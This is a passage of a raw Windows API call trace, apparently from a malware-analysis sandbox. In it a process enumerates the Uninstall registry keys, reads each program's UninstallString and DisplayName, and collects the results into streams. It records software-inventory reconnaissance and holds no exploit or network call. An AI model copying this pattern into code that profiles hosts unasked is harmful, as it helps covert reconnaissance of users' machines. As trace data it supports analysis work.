returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.188] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.188] lstrlenA (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned 48 [0047.188] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.188] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.188] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860" [0047.188] LocalFree (hMem=0x721848) returned 0x0 [0047.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.188] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.188] RegCloseKey (hKey=0x380) returned 0x0 [0047.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.188] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.188] RegCloseKey (hKey=0x380) returned 0x0 [0047.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2524860", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.188] LocalFree (hMem=0x745b68) returned 0x0 [0047.188] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x13, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.188] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.188] lstrlenA (lpString="\\") returned 1 [0047.188] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.188] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.188] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.188] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.188] lstrlenA (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned 48 [0047.188] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.188] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.188] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655" [0047.188] LocalFree (hMem=0x721848) returned 0x0 [0047.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.188] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.188] RegCloseKey (hKey=0x380) returned 0x0 [0047.188] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.188] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.189] RegCloseKey (hKey=0x380) returned 0x0 [0047.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2544655", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.189] LocalFree (hMem=0x745b68) returned 0x0 [0047.189] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x14, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.189] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.189] lstrlenA (lpString="\\") returned 1 [0047.189] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.189] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.189] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.189] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.189] lstrlenA (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned 48 [0047.189] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.189] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.189] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743" [0047.189] LocalFree (hMem=0x721848) returned 0x0 [0047.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.189] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.189] RegCloseKey (hKey=0x380) returned 0x0 [0047.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.189] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.189] RegCloseKey (hKey=0x380) returned 0x0 [0047.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2549743", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.189] LocalFree (hMem=0x745b68) returned 0x0 [0047.189] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x15, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.189] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.189] lstrlenA (lpString="\\") returned 1 [0047.189] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.189] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.189] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.189] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.189] lstrlenA (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned 48 [0047.189] LocalAlloc (uFlags=0x40, uBytes=0xe5) returned 0x745b68 [0047.189] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.189] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063" [0047.189] LocalFree (hMem=0x721848) returned 0x0 [0047.189] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.189] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.189] RegCloseKey (hKey=0x380) returned 0x0 [0047.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.190] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.190] RegCloseKey (hKey=0x380) returned 0x0 [0047.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB2565063", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.190] LocalFree (hMem=0x745b68) returned 0x0 [0047.190] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x16, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.190] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.190] lstrlenA (lpString="\\") returned 1 [0047.190] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.190] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.190] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.190] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.190] lstrlenA (lpString="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned 47 [0047.190] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x745b68 [0047.190] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.190] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573" [0047.190] LocalFree (hMem=0x721848) returned 0x0 [0047.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.190] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x0, lpData=0x0, lpcbData=0xeed94*=0x0) returned 0x2 [0047.190] RegCloseKey (hKey=0x380) returned 0x0 [0047.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20219, phkResult=0xeed6c | out: phkResult=0xeed6c*=0x380) returned 0x0 [0047.190] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed64, lpData=0x0, lpcbData=0xeed68*=0xeed50 | out: lpType=0xeed64*=0x0, lpData=0x0, lpcbData=0xeed68*=0x0) returned 0x2 [0047.190] RegCloseKey (hKey=0x380) returned 0x0 [0047.190] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}.KB982573", ulOptions=0x0, samDesired=0x20119, phkResult=0xeed40 | out: phkResult=0xeed40*=0x0) returned 0x2 [0047.190] LocalFree (hMem=0x745b68) returned 0x0 [0047.190] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x17, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{26A24AE4-039D-4CA4-87B4-2F03217071FF}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.190] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.190] lstrlenA (lpString="\\") returned 1 [0047.190] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.190] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.190] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.190] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.190] lstrlenA (lpString="{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 38 [0047.190] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.190] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.190] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{26A24AE4-039D-4CA4-87B4-2F03217071FF}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}" [0047.190] LocalFree (hMem=0x721848) returned 0x0 [0047.191] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.191] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x2, lpData=0x0, lpcbData=0xeed94*=0x35) returned 0x0 [0047.191] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x721848 [0047.191] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x721848, lpcbData=0xeed94*=0x35 | out: lpType=0x0, lpData=0x721848*=0x4d, lpcbData=0xeed94*=0x35) returned 0x0 [0047.191] RegCloseKey (hKey=0x380) returned 0x0 [0047.191] IStream:Commit (This=0x747360, grfCommitFlags=0x721848) returned 0x0 [0047.191] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{26A24AE4-039D-4CA4-87B4-2F03217071FF}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.191] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x721848 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x11) returned 0x0 [0047.191] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x716ef8 [0047.191] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x716ef8, lpcbData=0xeed90*=0x11 | out: lpType=0x0, lpData=0x716ef8*=0x4a, lpcbData=0xeed90*=0x11) returned 0x0 [0047.191] RegCloseKey (hKey=0x380) returned 0x0 [0047.191] lstrlenA (lpString="{26A24AE4-039D-4CA4-87B4-2F03217071FF}") returned 38 [0047.191] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.191] IStream:Commit (This=0x7473d8, grfCommitFlags=0x716ef8) returned 0x0 [0047.191] LocalFree (hMem=0x716ef8) returned 0x0 [0047.191] LocalFree (hMem=0x721848) returned 0x0 [0047.191] LocalFree (hMem=0x745b68) returned 0x0 [0047.191] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x18, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.191] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned 51 [0047.191] lstrlenA (lpString="\\") returned 1 [0047.191] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x721848 [0047.191] lstrcpyA (in: lpString1=0x721848, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" [0047.191] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", lpString2="\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.191] lstrlenA (lpString="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned 52 [0047.191] lstrlenA (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0047.191] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x745b68 [0047.191] lstrcpyA (in: lpString1=0x745b68, lpString2="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\" [0047.191] lstrcatA (in: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\", lpString2="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" | out: lpString1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}" [0047.191] LocalFree (hMem=0x721848) returned 0x0 [0047.191] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed98 | out: phkResult=0xeed98*=0x380) returned 0x0 [0047.191] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0xeed90, lpData=0x0, lpcbData=0xeed94*=0xefedc | out: lpType=0xeed90*=0x1, lpData=0x0, lpcbData=0xeed94*=0x63) returned 0x0 [0047.191] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x72f5b0 [0047.191] RegQueryValueExA (in: hKey=0x380, lpValueName="UninstallString", lpReserved=0x0, lpType=0x0, lpData=0x72f5b0, lpcbData=0xeed94*=0x63 | out: lpType=0x0, lpData=0x72f5b0*=0x22, lpcbData=0xeed94*=0x63) returned 0x0 [0047.192] RegCloseKey (hKey=0x380) returned 0x0 [0047.192] IStream:Commit (This=0x747360, grfCommitFlags=0x72f5b0) returned 0x0 [0047.192] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0xeed94 | out: phkResult=0xeed94*=0x380) returned 0x0 [0047.192] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0xeed8c, lpData=0x0, lpcbData=0xeed90*=0x72f5b0 | out: lpType=0xeed8c*=0x1, lpData=0x0, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.192] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x746d30 [0047.192] RegQueryValueExA (in: hKey=0x380, lpValueName="DisplayName", lpReserved=0x0, lpType=0x0, lpData=0x746d30, lpcbData=0xeed90*=0x3d | out: lpType=0x0, lpData=0x746d30*=0x4d, lpcbData=0xeed90*=0x3d) returned 0x0 [0047.192] RegCloseKey (hKey=0x380) returned 0x0 [0047.192] lstrlenA (lpString="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 38 [0047.192] IStream:Commit (This=0x7473d8, grfCommitFlags=0xeedf4) returned 0x0 [0047.192] IStream:Commit (This=0x7473d8, grfCommitFlags=0x746d30) returned 0x0 [0047.192] LocalFree (hMem=0x746d30) returned 0x0 [0047.192] LocalFree (hMem=0x72f5b0) returned 0x0 [0047.192] LocalFree (hMem=0x745b68) returned 0x0 [0047.192] RegEnumKeyExA (in: hKey=0x258, dwIndex=0x19, lpName=0xeedf4, lpcchName=0xeedf0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{3c3aafc8-d898-43ec-998f-965ffdae065a}", lpcchName=0xeedf0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0047.192] 